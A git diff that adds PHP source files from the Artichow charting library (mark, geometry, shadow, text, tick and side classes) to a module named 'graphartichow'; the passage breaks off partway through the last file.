+ + /** + * Hide marks ? + * + * @param bool $hide TRUE to hide marks, FALSE otherwise + */ + public function hide($hide = TRUE) { + $this->hide = (bool)$hide; + } + + /** + * Show marks ? + * + * @param bool $show + */ + public function show($show = TRUE) { + $this->hide = (bool)!$show; + } + + /** + * Change mark type + * + * @param int $size Size in pixels + */ + public function setSize($size) { + $this->size = (int)$size; + } + + /** + * Change mark type + * + * @param int $type New mark type + * @param int $size Mark size (can be NULL) + */ + public function setType($type, $size = NULL) { + $this->type = (int)$type; + if($size !== NULL) { + $this->setSize($size); + } + } + + /** + * Fill the mark with a color or a gradient + * + * @param mixed $fill A color or a gradient + */ + public function setFill($fill) { + if($fill instanceof awColor or $fill instanceof awGradient) { + $this->fill = $fill; + } + } + + /** + * Set an image + * Only for awMark::IMAGE type. + * + * @param Image An image + */ + public function setImage(awImage $image) { + $this->image = $image; + } + + /** + * Draw the mark + * + * @param awDriver $driver + * @param awPoint $point Mark center + */ + public function draw(awDriver $driver, awPoint $point) { + + // Hide marks ? + if($this->hide) { + return; + } + + // Check if we can print marks + if($this->type !== NULL) { + + $this->driver = $driver; + $realPoint = $this->move->move($point->x, $point->y); + + switch($this->type) { + + case awMark::CIRCLE : + $this->drawCircle($realPoint); + break; + + case awMark::SQUARE : + $this->drawSquare($realPoint); + break; + + case awMark::TRIANGLE : + $this->drawTriangle($realPoint); + break; + + case awMark::INVERTED_TRIANGLE : + $this->drawTriangle($realPoint, TRUE); + break; + + case awMark::RHOMBUS : + $this->drawRhombus($realPoint); + break; + + case awMark::CROSS : + $this->drawCross($realPoint); + break; + + case awMark::PLUS : + $this->drawCross($realPoint, TRUE); + break; + + case awMark::IMAGE : + $this->drawImage($realPoint); + break; + + case awMark::STAR : + $this->changeType('star'); + $this->draw($driver, $point); + break; + + case awMark::PAPERCLIP : + $this->changeType('paperclip'); + $this->draw($driver, $point); + break; + + case awMark::BOOK : + $this->changeType('book'); + $this->draw($driver, $point); + break; + + } + + } + + } + + protected function changeType($image) { + $this->setType(awMARK::IMAGE); + $this->setImage(new awFileImage(ARTICHOW_IMAGE.DIRECTORY_SEPARATOR.$image.'.png')); + } + + protected function drawCircle(awPoint $point) { + + $this->driver->filledEllipse( + $this->fill, + $point, + $this->size, $this->size + ); + + $this->border->ellipse( + $this->driver, + $point, + $this->size, $this->size + ); + + } + + protected function drawSquare(awPoint $point) { + + list($x, $y) = $point->getLocation(); + + $x1 = (int)($x - $this->size / 2); + $x2 = $x1 + $this->size; + $y1 = (int)($y - $this->size / 2); + $y2 = $y1 + $this->size; + + $this->border->rectangle($this->driver, new awPoint($x1, $y1), new awPoint($x2, $y2)); + + $size = $this->border->visible() ? 1 : 0; + + $this->driver->filledRectangle( + $this->fill, + new awLine( + new awPoint($x1 + $size, $y1 + $size), + new awPoint($x2 - $size, $y2 - $size) + ) + ); + + } + + protected function drawTriangle(awPoint $point, $inverted = FALSE) { + + list($x, $y) = $point->getLocation(); + + $size = $this->size; + + $triangle = new awPolygon; + // Set default style and thickness + $triangle->setStyle(awPolygon::SOLID); + $triangle->setThickness(1); + + if($inverted === TRUE) { + // Bottom of the triangle + $triangle->append(new awPoint($x, $y + $size / sqrt(3))); + + // Upper left corner + $triangle->append(new awPoint($x - $size / 2, $y - $size / (2 * sqrt(3)))); + + // Upper right corner + $triangle->append(new awPoint($x + $size / 2, $y - $size / (2 * sqrt(3)))); + } else { + // Top of the triangle + $triangle->append(new awPoint($x, $y - $size / sqrt(3))); + + // Lower left corner + $triangle->append(new awPoint($x - $size / 2, $y + $size / (2 * sqrt(3)))); + + // Lower right corner + $triangle->append(new awPoint($x + $size / 2, $y + $size / (2 * sqrt(3)))); + } + + $this->driver->filledPolygon($this->fill, $triangle); + + if($this->border->visible()) { + $this->border->polygon($this->driver, $triangle); + } + } + + protected function drawRhombus(awPoint $point) { + + list($x, $y) = $point->getLocation(); + + $rhombus = new awPolygon; + // Set default style and thickness + $rhombus->setStyle(awPolygon::SOLID); + $rhombus->setThickness(1); + + // Top of the rhombus + $rhombus->append(new awPoint($x, $y - $this->size / 2)); + + // Right of the rhombus + $rhombus->append(new awPoint($x + $this->size / 2, $y)); + + // Bottom of the rhombus + $rhombus->append(new awPoint($x, $y + $this->size / 2)); + + // Left of the rhombus + $rhombus->append(new awPoint($x - $this->size / 2, $y)); + + $this->driver->filledPolygon($this->fill, $rhombus); + + if($this->border->visible()) { + $this->border->polygon($this->driver, $rhombus); + } + } + + protected function drawCross(awPoint $point, $upright = FALSE) { + + list($x, $y) = $point->getLocation(); + + if($upright === TRUE) { + $x11 = (int)($x); + $y11 = (int)($y - $this->size / 2); + $x12 = (int)($x); + $y12 = (int)($y + $this->size / 2); + + $y21 = (int)($y); + $y22 = (int)($y); + } else { + $x11 = (int)($x - $this->size / 2); + $y11 = (int)($y + $this->size / 2); + $x12 = (int)($x + $this->size / 2); + $y12 = (int)($y - $this->size / 2); + + $y21 = (int)($y - $this->size / 2); + $y22 = (int)($y + $this->size / 2); + } + + $x21 = (int)($x - $this->size / 2); + $x22 = (int)($x + $this->size / 2); + + $this->driver->line( + $this->fill, + new awLine( + new awPoint($x11, $y11), + new awPoint($x12, $y12) + ) + ); + + $this->driver->line( + $this->fill, + new awLine( + new awPoint($x21, $y21), + new awPoint($x22, $y22) + ) + ); + } + + protected function drawImage(awPoint $point) { + + if($this->image instanceof awImage) { + + $width = $this->image->width; + $height = $this->image->height; + + list($x, $y) = $point->getLocation(); + + $x1 = (int)($x - $width / 2); + $x2 = $x1 + $width; + $y1 = (int)($y - $width / 2); + $y2 = $y1 + $height; + + $this->border->rectangle($this->driver, new awPoint($x1 - 1, $y1 - 1), new awPoint($x2 + 1, $y2 + 1)); + + $this->driver->copyImage($this->image, new awPoint($x1, $y1), new awPoint($x2, $y2)); + + } + + } + +} + +registerClass('Mark'); diff --git a/modules/graphartichow/artichow/inc/Math.class.php b/modules/graphartichow/artichow/inc/Math.class.php new file mode 100755 index 0000000..0f1334b --- /dev/null +++ b/modules/graphartichow/artichow/inc/Math.class.php @@ -0,0 +1,831 @@ +style = (int)$style; + } + + /** + * Return shape style + * + * @return int + */ + public function getStyle() { + return $this->style; + } + + /** + * Change shape thickness + * + * @param int $thickness Shape thickness in pixels + */ + public function setThickness($thickness) { + $this->thickness = (int)$thickness; + } + + /** + * Return shape thickness + * + * @return int + */ + public function getThickness() { + return $this->thickness; + } + + /** + * Hide the shape + * + * @param bool $hide + */ + public function hide($hide) { + $this->hide = (bool)$hide; + } + + /** + * Show the shape + * + * @param bool $shape + */ + public function show($shape) { + $this->hide = (bool)!$shape; + } + + /** + * Is the line hidden ? + * + * @return bool + */ + public function isHidden() { + return $this->hide; + } + +} + +registerClass('Shape', TRUE); + +/** + * Describe a point + * + * @package Artichow + */ +class awPoint extends awShape { + + /** + * X coord + * + * @var float + */ + public $x; + + /** + * Y coord + * + * @var float + */ + public $y; + + /** + * Build a new awpoint + * + * @param float $x + * @param float $y + */ + public function __construct($x, $y) { + + $this->setLocation($x, $y); + + } + + /** + * Change X value + * + * @param float $x + */ + public function setX($x) { + $this->x = (float)$x; + } + + /** + * Change Y value + * + * @param float $y + */ + public function setY($y) { + $this->y = (float)$y; + } + + /** + * Change point location + * + * @param float $x + * @param float $y + */ + public function setLocation($x, $y) { + $this->setX($x); + $this->setY($y); + } + + /** + * Get point location + * + * @param array Point location + */ + public function getLocation() { + return array($this->x, $this->y); + } + + /** + * Get distance to another point + * + * @param awPoint $p A point + * @return float + */ + public function getDistance(awPoint $p) { + + return sqrt(pow($p->x - $this->x, 2) + pow($p->y - $this->y, 2)); + + } + + /** + * Move the point to another location + * + * @param Point A Point with the new awlocation + */ + public function move($x, $y) { + + return new awPoint( + $this->x + $x, + $this->y + $y + ); + + } + +} + +registerClass('Point'); + + +/** + * Describe a line + * + * @package Artichow + */ +class awLine extends awShape { + + /** + * Line first point + * + * @param Point + */ + public $p1; + + /** + * Line second point + * + * @param Point + */ + public $p2; + + /** + * The line slope (the m in y = mx + p) + * + * @param float + */ + private $slope; + + /** + * The y-intercept value of the line (the p in y = mx + p) + * + * @param float + */ + private $origin; + + /** + * Build a new awline + * + * @param awPoint $p1 First point + * @param awPoint $p2 Second point + * @param int $type Style of line (default to solid) + * @param int $thickness Line thickness (default to 1) + */ + public function __construct($p1 = NULL, $p2 = NULL, $type = awLine::SOLID, $thickness = 1) { + + $this->setLocation($p1, $p2); + $this->setStyle($type); + $this->setThickness($thickness); + + } + + /** + * Build a line from 4 coords + * + * @param int $x1 Left position + * @param int $y1 Top position + * @param int $x2 Right position + * @param int $y2 Bottom position + */ + public static function build($x1, $y1, $x2, $y2) { + + return new awLine( + new awPoint($x1, $y1), + new awPoint($x2, $y2) + ); + + } + + /** + * Change X values of the line + * + * @param int $x1 Begin value + * @param int $x2 End value + */ + public function setX($x1, $x2) { + $this->p1->setX($x1); + $this->p2->setX($x2); + + // Resets slope and origin values so they are + // recalculated when and if needed. + $this->slope = NULL; + $this->origin = NULL; + } + + /** + * Change Y values of the line + * + * @param int $y1 Begin value + * @param int $y2 End value + */ + public function setY($y1, $y2) { + $this->p1->setY($y1); + $this->p2->setY($y2); + + // Resets slope and origin values so they are + // recalculated when and if needed. + $this->slope = NULL; + $this->origin = NULL; + } + + /** + * Change line location + * + * @param awPoint $p1 First point + * @param awPoint $p2 Second point + */ + public function setLocation($p1, $p2) { + if(is_null($p1) or $p1 instanceof awPoint) { + $this->p1 = $p1; + } + if(is_null($p2) or $p2 instanceof awPoint) { + $this->p2 = $p2; + } + + // Resets slope and origin values so they are + // recalculated when and if needed. + $this->slope = NULL; + $this->origin = NULL; + } + + /** + * Get line location + * + * @param array Line location + */ + public function getLocation() { + return array($this->p1, $this->p2); + } + + /** + * Get the line size + * + * @return float + */ + public function getSize() { + + $square = pow($this->p2->x - $this->p1->x, 2) + pow($this->p2->y - $this->p1->y, 2); + return sqrt($square); + + } + + /** + * Calculate the line slope + * + */ + private function calculateSlope() { + if($this->isHorizontal()) { + $this->slope = 0; + } else { + $slope = ($this->p1->y - $this->p2->y) / ($this->p1->x - $this->p2->x); + + $this->slope = $slope; + } + } + + /** + * Calculate the y-intercept value of the line + * + */ + private function calculateOrigin() { + if($this->isHorizontal()) { + $this->origin = $this->p1->y; // Or p2->y + } else { + $y1 = $this->p1->y; + $y2 = $this->p2->y; + $x1 = $this->p1->x; + $x2 = $this->p2->x; + + $origin = ($y2 * $x1 - $y1 * $x2) / ($x1 - $x2); + + $this->origin = $origin; + } + } + + /** + * Calculate the slope and y-intercept value of the line + * + */ + private function calculateEquation() { + $this->calculateSlope(); + $this->calculateOrigin(); + } + + /** + * Get the line slope value + * + * @return float + */ + public function getSlope() { + if($this->isVertical()) { + return NULL; + } elseif($this->slope !== NULL) { + return $this->slope; + } else { + $this->calculateSlope(); + return $this->slope; + } + } + + /** + * Get the line y-intercept value + * + * @return float + */ + public function getOrigin() { + if($this->isVertical()) { + return NULL; + } elseif($this->origin !== NULL) { + return $this->origin; + } else { + $this->calculateOrigin(); + return $this->origin; + } + } + + /** + * Get the line equation + * + * @return array An array containing the slope and y-intercept value of the line + */ + public function getEquation() { + $slope = $this->getSlope(); + $origin = $this->getOrigin(); + + return array($slope, $origin); + } + + /** + * Return the x coordinate of a point on the line + * given its y coordinate. + * + * @param float $y The y coordinate of the Point + * @return float $x The corresponding x coordinate + */ + public function getXFrom($y) { + $x = NULL; + + if($this->isVertical()) { + list($p, ) = $this->getLocation(); + $x = $p->x; + } else { + list($slope, $origin) = $this->getEquation(); + + if($slope !== 0) { + $y = (float)$y; + $x = ($y - $origin) / $slope; + } + } + + return $x; + } + + /** + * Return the y coordinate of a point on the line + * given its x coordinate. + * + * @param float $x The x coordinate of the Point + * @return float $y The corresponding y coordinate + */ + public function getYFrom($x) { + $y = NULL; + + if($this->isHorizontal()) { + list($p, ) = $this->getLocation(); + $y = $p->y; + } else { + list($slope, $origin) = $this->getEquation(); + + if($slope !== NULL) { + $x = (float)$x; + $y = $slope * $x + $origin; + } + } + + return $y; + } + + /** + * Test if the line can be considered as a point + * + * @return bool + */ + public function isPoint() { + return ($this->p1->x === $this->p2->x and $this->p1->y === $this->p2->y); + } + + /** + * Test if the line is a vertical line + * + * @return bool + */ + public function isVertical() { + return ($this->p1->x === $this->p2->x); + } + + /** + * Test if the line is an horizontal line + * + * @return bool + */ + public function isHorizontal() { + return ($this->p1->y === $this->p2->y); + } + + /** + * Returns TRUE if the line is going all the way from the top + * to the bottom of the polygon surrounding box. + * + * @param $polygon Polygon A Polygon object + * @return bool + */ + public function isTopToBottom(awPolygon $polygon) { + list($xMin, $xMax) = $polygon->getBoxXRange(); + list($yMin, $yMax) = $polygon->getBoxYRange(); + + if($this->isHorizontal()) { + return FALSE; + } else { + if($this->p1->y < $this->p2->y) { + $top = $this->p1; + $bottom = $this->p2; + } else { + $top = $this->p2; + $bottom = $this->p1; + } + + return ( + $this->isOnBoxTopSide($top, $xMin, $xMax, $yMin) + and + $this->isOnBoxBottomSide($bottom, $xMin, $xMax, $yMax) + ); + } + } + + /** + * Returns TRUE if the line is going all the way from the left side + * to the right side of the polygon surrounding box. + * + * @param $polygon Polygon A Polygon object + * @return bool + */ + public function isLeftToRight(awPolygon $polygon) { + list($xMin, $xMax) = $polygon->getBoxXRange(); + list($yMin, $yMax) = $polygon->getBoxYRange(); + + if($this->isVertical()) { + return FALSE; + } else { + if($this->p1->x < $this->p2->x) { + $left = $this->p1; + $right = $this->p2; + } else { + $left = $this->p2; + $right = $this->p1; + } + } + + return ( + $this->isOnBoxLeftSide($left, $yMin, $yMax, $xMin) + and + $this->isOnBoxRightSide($right, $yMin, $yMax, $xMax) + ); + } + + private function isOnBoxTopSide(awPoint $point, $xMin, $xMax, $yMin) { + if( + $point->y === $yMin + and + $point->x >= $xMin + and + $point->x <= $xMax + ) { + return TRUE; + } else { + return FALSE; + } + } + + private function isOnBoxBottomSide(awPoint $point, $xMin, $xMax, $yMax) { + if( + $point->y === $yMax + and + $point->x >= $xMin + and + $point->x <= $xMax + ) { + return TRUE; + } else { + return FALSE; + } + } + + private function isOnBoxLeftSide(awPoint $point, $yMin, $yMax, $xMin) { + if( + $point->x === $xMin + and + $point->y >= $yMin + and + $point->y <= $yMax + ) { + return TRUE; + } else { + return FALSE; + } + } + + private function isOnBoxRightSide(awPoint $point, $yMin, $yMax, $xMax) { + if( + $point->x === $xMax + and + $point->y >= $yMin + and + $point->y <= $yMax + ) { + return TRUE; + } else { + return FALSE; + } + } + +} + +registerClass('Line'); + +/** + * A vector is a type of line + * The sense of the vector goes from $p1 to $p2. + * + * @package Artichow + */ +class awVector extends awLine { + + /** + * Get vector angle in radians + * + * @return float + */ + public function getAngle() { + + if($this->isPoint()) { + return 0.0; + } + + $size = $this->getSize(); + + $width = ($this->p2->x - $this->p1->x); + $height = ($this->p2->y - $this->p1->y) * -1; + + if($width >= 0 and $height >= 0) { + return acos($width / $size); + } else if($width <= 0 and $height >= 0) { + return acos($width / $size); + } else { + $height *= -1; + if($width >= 0 and $height >= 0) { + return 2 * M_PI - acos($width / $size); + } else if($width <= 0 and $height >= 0) { + return 2 * M_PI - acos($width / $size); + } + } + + } + +} + +registerClass('Vector'); + + +/** + * Describe a polygon + * + * @package Artichow + */ +class awPolygon extends awShape { + + /** + * Polygon points + * + * @var array + */ + protected $points = array(); + + /** + * Set a point in the polygon + * + * @param int $pos Point position + * @param awPoint $point + */ + public function set($pos, $point) { + if(is_null($point) or $point instanceof awPoint) { + $this->points[$pos] = $point; + } + } + + /** + * Add a point at the end of the polygon + * + * @param awPoint $point + */ + public function append($point) { + if(is_null($point) or $point instanceof awPoint) { + $this->points[] = $point; + } + } + + /** + * Get a point at a position in the polygon + * + * @param int $pos Point position + * @return Point + */ + public function get($pos) { + return $this->points[$pos]; + } + + /** + * Count number of points in the polygon + * + * @return int + */ + public function count() { + return count($this->points); + } + + /** + * Returns all points in the polygon + * + * @return array + */ + public function all() { + return $this->points; + } + + /** + * Returns the different lines formed by the polygon vertices + * + * @return array + */ + public function getLines() { + $lines = array(); + $count = $this->count(); + + for($i = 0; $i < $count - 1; $i++) { + $lines[] = new Line($this->get($i), $this->get($i + 1)); + } + + // "Close" the polygon + $lines[] = new Line($this->get($count - 1), $this->get(0)); + + return $lines; + } + + /** + * Get the upper-left and lower-right points + * of the bounding box around the polygon + * + * @return array An array of two Point objects + */ + public function getBoxPoints() { + $count = $this->count(); + $x = $y = array(); + + for($i = 0; $i < $count; $i++) { + $point = $this->get($i); + + list($x[], $y[]) = $point->getLocation(); + } + + $upperLeft = new Point(min($x), min($y)); + $lowerRight = new Point(max($x), max($y)); + + return array($upperLeft, $lowerRight); + } + + /** + * Return the range of the polygon on the y axis, + * i.e. the minimum and maximum y value of any point in the polygon + * + * @return array + */ + public function getBoxYRange() { + list($p1, $p2) = $this->getBoxPoints(); + + list(, $yMin) = $p1->getLocation(); + list(, $yMax) = $p2->getLocation(); + + return array($yMin, $yMax); + } + + /** + * Return the range of the polygon on the x axis, + * i.e. the minimum and maximum x value of any point in the polygon + * + * @return array + */ + public function getBoxXRange() { + list($p1, $p2) = $this->getBoxPoints(); + + list($xMin, ) = $p1->getLocation(); + list($xMax, ) = $p2->getLocation(); + + return array($xMin, $xMax); + } + +} + +registerClass('Polygon'); diff --git a/modules/graphartichow/artichow/inc/Shadow.class.php b/modules/graphartichow/artichow/inc/Shadow.class.php new file mode 100755 index 0000000..1d528db --- /dev/null +++ b/modules/graphartichow/artichow/inc/Shadow.class.php @@ -0,0 +1,405 @@ +setPosition($position); + } + + /** + * Hide shadow ? + * + * @param bool $hide + */ + public function hide($hide = TRUE) { + $this->hide = (bool)$hide; + } + + /** + * Show shadow ? + * + * @param bool $show + */ + public function show($show = TRUE) { + $this->hide = (bool)!$show; + } + + /** + * Change shadow size + * + * @param int $size + * @param bool $smooth Smooth the shadow (facultative argument) + */ + public function setSize($size, $smooth = NULL) { + $this->size = (int)$size; + if($smooth !== NULL) { + $this->smooth($smooth); + } + } + + /** + * Change shadow color + * + * @param awColor $color + */ + public function setColor(awColor $color) { + $this->color = $color; + } + + /** + * Change shadow position + * + * @param int $position + */ + public function setPosition($position) { + $this->position = (int)$position; + } + + /** + * Smooth shadow ? + * + * @param bool $smooth + */ + public function smooth($smooth) { + $this->smooth = (bool)$smooth; + } + + /** + * Get the space taken by the shadow + * + * @return Side + */ + public function getSpace() { + + return new awSide( + ($this->position === awShadow::LEFT_TOP or $this->position === awShadow::LEFT_BOTTOM) ? $this->size : 0, + ($this->position === awShadow::RIGHT_TOP or $this->position === awShadow::RIGHT_BOTTOM) ? $this->size : 0, + ($this->position === awShadow::LEFT_TOP or $this->position === awShadow::RIGHT_TOP) ? $this->size : 0, + ($this->position === awShadow::LEFT_BOTTOM or $this->position === awShadow::RIGHT_BOTTOM) ? $this->size : 0 + ); + + } + + /** + * Draw shadow + * + * @param awDriver $driver + * @param awPoint $p1 Top-left point + * @param awPoint $p2 Right-bottom point + * @param int Drawing mode + */ + public function draw(awDriver $driver, awPoint $p1, awPoint $p2, $mode) { + + if($this->hide) { + return; + } + + if($this->size <= 0) { + return; + } + + $driver = clone $driver; + + $color = ($this->color instanceof awColor) ? $this->color : new awColor(125, 125, 125); + + switch($this->position) { + + case awShadow::RIGHT_BOTTOM : + + if($mode === awShadow::OUT) { + $t1 = $p1->move(0, 0); + $t2 = $p2->move($this->size + 1, $this->size + 1); + } else { // PHP 4 compatibility + $t1 = $p1->move(0, 0); + $t2 = $p2->move(0, 0); + } + + $width = $t2->x - $t1->x; + $height = $t2->y - $t1->y; + + $driver->setAbsPosition($t1->x + $driver->x, $t1->y + $driver->y); + + $driver->filledRectangle( + $color, + new awLine( + new awPoint($width - $this->size, $this->size), + new awPoint($width - 1, $height - 1) + ) + ); + + $driver->filledRectangle( + $color, + new awLine( + new awPoint($this->size, $height - $this->size), + new awPoint($width - $this->size - 1, $height - 1) + ) + ); + + $this->smoothPast($driver, $color, $width, $height); + + break; + + case awShadow::LEFT_TOP : + + if($mode === awShadow::OUT) { + $t1 = $p1->move(- $this->size, - $this->size); + $t2 = $p2->move(0, 0); + } else { // PHP 4 compatibility + $t1 = $p1->move(0, 0); + $t2 = $p2->move(0, 0); + } + + $width = $t2->x - $t1->x; + $height = $t2->y - $t1->y; + + $driver->setAbsPosition($t1->x + $driver->x, $t1->y + $driver->y); + + $height = max($height + 1, $this->size); + + $driver->filledRectangle( + $color, + new awLine( + new awPoint(0, 0), + new awPoint($this->size - 1, $height - $this->size - 1) + ) + ); + + $driver->filledRectangle( + $color, + new awLine( + new awPoint($this->size, 0), + new awPoint($width - $this->size - 1, $this->size - 1) + ) + ); + + $this->smoothPast($driver, $color, $width, $height); + + break; + + case awShadow::RIGHT_TOP : + + if($mode === awShadow::OUT) { + $t1 = $p1->move(0, - $this->size); + $t2 = $p2->move($this->size + 1, 0); + } else { // PHP 4 compatibility + $t1 = $p1->move(0, 0); + $t2 = $p2->move(0, 0); + } + + $width = $t2->x - $t1->x; + $height = $t2->y - $t1->y; + + $driver->setAbsPosition($t1->x + $driver->x, $t1->y + $driver->y); + + $height = max($height + 1, $this->size); + + $driver->filledRectangle( + $color, + new awLine( + new awPoint($width - $this->size, 0), + new awPoint($width - 1, $height - $this->size - 1) + ) + ); + + $driver->filledRectangle( + $color, + new awLine( + new awPoint($this->size, 0), + new awPoint($width - $this->size - 1, $this->size - 1) + ) + ); + + $this->smoothFuture($driver, $color, $width, $height); + + break; + + case awShadow::LEFT_BOTTOM : + + if($mode === awShadow::OUT) { + $t1 = $p1->move(- $this->size, 0); + $t2 = $p2->move(0, $this->size + 1); + } else { // PHP 4 compatibility + $t1 = $p1->move(0, 0); + $t2 = $p2->move(0, 0); + } + + $width = $t2->x - $t1->x; + $height = $t2->y - $t1->y; + + $driver->setAbsPosition($t1->x + $driver->x, $t1->y + $driver->y); + + $driver->filledRectangle( + $color, + new awLine( + new awPoint(0, $this->size), + new awPoint($this->size - 1, $height - 1) + ) + ); + + $driver->filledRectangle( + $color, + new awLine( + new awPoint($this->size, $height - $this->size), + new awPoint($width - $this->size - 1, $height - 1) + ) + ); + + $this->smoothFuture($driver, $color, $width, $height); + + break; + + } + + } + + private function smoothPast(awDriver $driver, awColor $color, $width, $height) { + + if($this->smooth) { + + for($i = 0; $i < $this->size; $i++) { + for($j = 0; $j <= $i; $j++) { + $driver->point( + $color, + new awPoint($i, $j + $height - $this->size) + ); + } + } + + for($i = 0; $i < $this->size; $i++) { + for($j = 0; $j <= $i; $j++) { + $driver->point( + $color, + new awPoint($width - $this->size + $j, $i) + ); + } + } + + } + + } + + private function smoothFuture(awDriver $driver, awColor $color, $width, $height) { + + if($this->smooth) { + + for($i = 0; $i < $this->size; $i++) { + for($j = 0; $j <= $i; $j++) { + $driver->point( + $color, + new awPoint($i, $this->size - $j - 1) + ); + } + } + + for($i = 0; $i < $this->size; $i++) { + for($j = 0; $j <= $i; $j++) { + $driver->point( + $color, + new awPoint($width - $this->size + $j, $height - $i - 1) + ); + } + } + + } + } + +} + +registerClass('Shadow'); diff --git a/modules/graphartichow/artichow/inc/Text.class.php b/modules/graphartichow/artichow/inc/Text.class.php new file mode 100755 index 0000000..6634444 --- /dev/null +++ b/modules/graphartichow/artichow/inc/Text.class.php @@ -0,0 +1,233 @@ +setText($text); + $this->setFont($font); + + // Set default color to black + if($color === NULL) { + $color = new awColor(0, 0, 0); + } + + $this->setColor($color); + $this->setAngle($angle); + + $this->border = new awBorder; + $this->border->hide(); + + } + + /** + * Get text + * + * @return string + */ + public function getText() { + return $this->text; + } + + /** + * Change text + * + * @param string $text New text + */ + public function setText($text) { + $this->text = (string)$text; + $this->text = str_replace("\r", "", $text); + } + + /** + * Change text font + * + * @param Font + */ + public function setFont(awFont $font) { + $this->font = $font; + } + + /** + * Get text font + * + * @return int + */ + public function getFont() { + return $this->font; + } + + /** + * Change text angle + * + * @param int + */ + public function setAngle($angle) { + $this->angle = (int)$angle; + } + + /** + * Get text angle + * + * @return int + */ + public function getAngle() { + return $this->angle; + } + + /** + * Change text color + * + * @param Color + */ + public function setColor(awColor $color) { + $this->color = $color; + } + + /** + * Get text color + * + * @return Color + */ + public function getColor() { + return $this->color; + } + + /** + * Change text background + * + * @param mixed $background + */ + public function setBackground($background) { + if($background instanceof awColor) { + $this->setBackgroundColor($background); + } elseif($background instanceof awGradient) { + $this->setBackgroundGradient($background); + } + } + + /** + * Change text background color + * + * @param awColor $color + */ + public function setBackgroundColor(awColor $color) { + $this->background = $color; + } + + /** + * Change text background gradient + * + * @param awGradient $gradient + */ + public function setBackgroundGradient(awGradient $gradient) { + $this->background = $gradient; + } + + /** + * Get text background + * + * @return Color, Gradient + */ + public function getBackground() { + return $this->background; + } + + /** + * Change padding + * + * @param int $left Left padding + * @param int $right Right padding + * @param int $top Top padding + * @param int $bottom Bottom padding + */ + public function setPadding($left, $right, $top, $bottom) { + $this->padding = array((int)$left, (int)$right, (int)$top, (int)$bottom); + } + + /** + * Get current padding + * + * @return array + */ + public function getPadding() { + return $this->padding; + } + +} + +registerClass('Text'); + diff --git a/modules/graphartichow/artichow/inc/Tick.class.php b/modules/graphartichow/artichow/inc/Tick.class.php new file mode 100755 index 0000000..4bfc46b --- /dev/null +++ b/modules/graphartichow/artichow/inc/Tick.class.php @@ -0,0 +1,343 @@ +setSize($size); + $this->setNumber($number); + $this->setColor(new awBlack); + $this->style = awTick::IN; + + } + + /** + * Change ticks style + * + * @param int $style + */ + public function setStyle($style) { + $this->style = (int)$style; + } + + /** + * Get ticks style + * + * @return int + */ + public function getStyle() { + return $this->style; + } + + /** + * Change ticks color + * + * @param awColor $color + */ + public function setColor(awColor $color) { + $this->color = $color; + } + + /** + * Change ticks size + * + * @param int $size + */ + public function setSize($size) { + $this->size = (int)$size; + } + + /** + * Change interval of ticks + * + * @param int $interval + */ + public function setInterval($interval) { + $this->interval = (int)$interval; + } + + /** + * Get interval between each tick + * + * @return int + */ + public function getInterval() { + return $this->interval; + } + + /** + * Change number of ticks + * + * @param int $number + */ + public function setNumber($number) { + $this->number = (int)$number; + } + + /** + * Get number of ticks + * + * @return int + */ + public function getNumber() { + return $this->number; + } + + /** + * Change number of ticks relative to others ticks + * + * @param awTick $tick Ticks reference + * @param int $number Number of ticks + */ + public function setNumberByTick(awTick $tick, $number) { + + $this->numberByTick = array($tick, (int)$number); + + } + + /** + * Hide ticks + * + * @param bool $hide + */ + public function hide($hide) { + $this->hide = (bool)$hide; + } + + /** + * Hide first tick + * + * @param bool $hide + */ + public function hideFirst($hide) { + $this->hideFirst = (bool)$hide; + } + + /** + * Hide last tick + * + * @param bool $hide + */ + public function hideLast($hide) { + $this->hideLast = (bool)$hide; + } + + /** + * Draw ticks on a vector + * + * @param awDriver $driver A driver + * @param awVector $vector A vector + */ + public function draw(awDriver $driver, awVector $vector) { + + if($this->numberByTick !== NULL) { + list($tick, $number) = $this->numberByTick; + $this->number = 1 + ($tick->getNumber() - 1) * ($number + 1); + $this->interval = $tick->getInterval(); + } + + if($this->number < 2 or $this->hide) { + return; + } + + $angle = $vector->getAngle(); + // echo "INIT:".$angle."
        "; + switch($this->style) { + + case awTick::IN : + $this->drawTicks($driver, $vector, NULL, $angle + M_PI / 2); + break; + + case awTick::OUT : + $this->drawTicks($driver, $vector, $angle + 3 * M_PI / 2, NULL); + break; + + default : + $this->drawTicks($driver, $vector, $angle + M_PI / 2, $angle + 3 * M_PI / 2); + break; + + } + + } + + protected function drawTicks(awDriver $driver, awVector $vector, $from, $to) { + + // Draw last tick + if($this->hideLast === FALSE) { + + //echo ''; + if(($this->number - 1) % $this->interval === 0) { + $this->drawTick($driver, $vector->p2, $from, $to); + } + //echo ''; + + } + + $number = $this->number - 1; + $size = $vector->getSize(); + + // Get tick increment in pixels + $inc = $size / $number; + + // Check if we must hide the first tick + $start = $this->hideFirst ? $inc : 0; + $stop = $inc * $number; + + $position = 0; + + for($i = $start; round($i, 6) < $stop; $i += $inc) { + + if($position % $this->interval === 0) { + $p = $vector->p1->move( + round($i * cos($vector->getAngle()), 6), + round($i * sin($vector->getAngle() * -1), 6) + ); + $this->drawTick($driver, $p, $from, $to); + } + + $position++; + + } + //echo '

        '; + } + + protected function drawTick(awDriver $driver, awPoint $p, $from, $to) { +// echo $this->size.':'.$angle.'|'.cos($angle).'/'; + // The round avoid some errors in the calcul + // For example, 12.00000008575245 becomes 12 + $p1 = $p; + $p2 = $p; + + if($from !== NULL) { + $p1 = $p1->move( + round($this->size * cos($from), 6), + round($this->size * sin($from) * -1, 6) + ); + } + + if($to !== NULL) { + $p2 = $p2->move( + round($this->size * cos($to), 6), + round($this->size * sin($to) * -1, 6) + ); + } + //echo $p1->x.':'.$p2->x.'('.$p1->y.':'.$p2->y.')'.'/'; + $vector = new awVector( + $p1, $p2 + ); + + $driver->line( + $this->color, + $vector + ); + + } + +} + +registerClass('Tick'); diff --git a/modules/graphartichow/artichow/inc/Tools.class.php b/modules/graphartichow/artichow/inc/Tools.class.php new file mode 100755 index 0000000..05ca334 --- /dev/null +++ b/modules/graphartichow/artichow/inc/Tools.class.php @@ -0,0 +1,174 @@ +set($left, $right, $top, $bottom); + } + + + /** + * Change side values + * + * @param mixed $left + * @param mixed $right + * @param mixed $top + * @param mixed $bottom + */ + public function set($left = NULL, $right = NULL, $top = NULL, $bottom = NULL) { + + if($left !== NULL) { + $this->left = (float)$left; + } + if($right !== NULL) { + $this->right = (float)$right; + } + if($top !== NULL) { + $this->top = (float)$top; + } + if($bottom !== NULL) { + $this->bottom = (float)$bottom; + } + + } + + + /** + * Add values to each side + * + * @param mixed $left + * @param mixed $right + * @param mixed $top + * @param mixed $bottom + */ + 